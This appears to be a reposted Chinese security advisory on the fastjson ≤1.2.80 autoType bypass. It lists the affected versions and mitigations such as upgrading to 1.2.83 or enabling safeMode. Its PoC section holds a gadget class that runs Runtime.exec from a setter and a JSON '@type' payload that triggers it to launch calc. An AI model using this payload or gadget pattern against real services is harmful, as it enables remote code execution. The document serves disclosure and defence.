01
漏洞描述
fastjson已使用黑白名单用于防御反序列化漏洞,经研究该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。
02
影响版本
1.2.80及以下版本,即 <= 1.2.80。
03
规避方案(以下任选一种)
升级到最新版本1.2.83
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
开启safeMode
参考:
https://github.com/alibaba/fastjson/wiki/fastjson_safemode
java代码中设置
ParserConfig.getGlobalInstance().setSafeMode(true);
JVM参数中设置
-Dfastjson.parser.safeMode=true
配置文件设置
# fastjson.properties
fastjson.parser.safeMode=true
使用fastjson v2版本,与v1版本不兼容
04
POC代码
poc类(代码中需要有该类)
package com.example.fastjson.poc20220523;
import java.io.IOException;
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
攻击代码:
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
java代码解析:
public static void main(String[] args) {
String json = "{"@type":"java.lang.Exception","@type":"com.example.fastjson.poc20220523.Poc20220523","name":"calc"}";
JSON.parse(json);
}
效果截图:
05
代码地址
如有侵权,请联系删除。
扫码关注我们
查看更多精彩内容
原文始发于微信公众号(长风实验室):fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论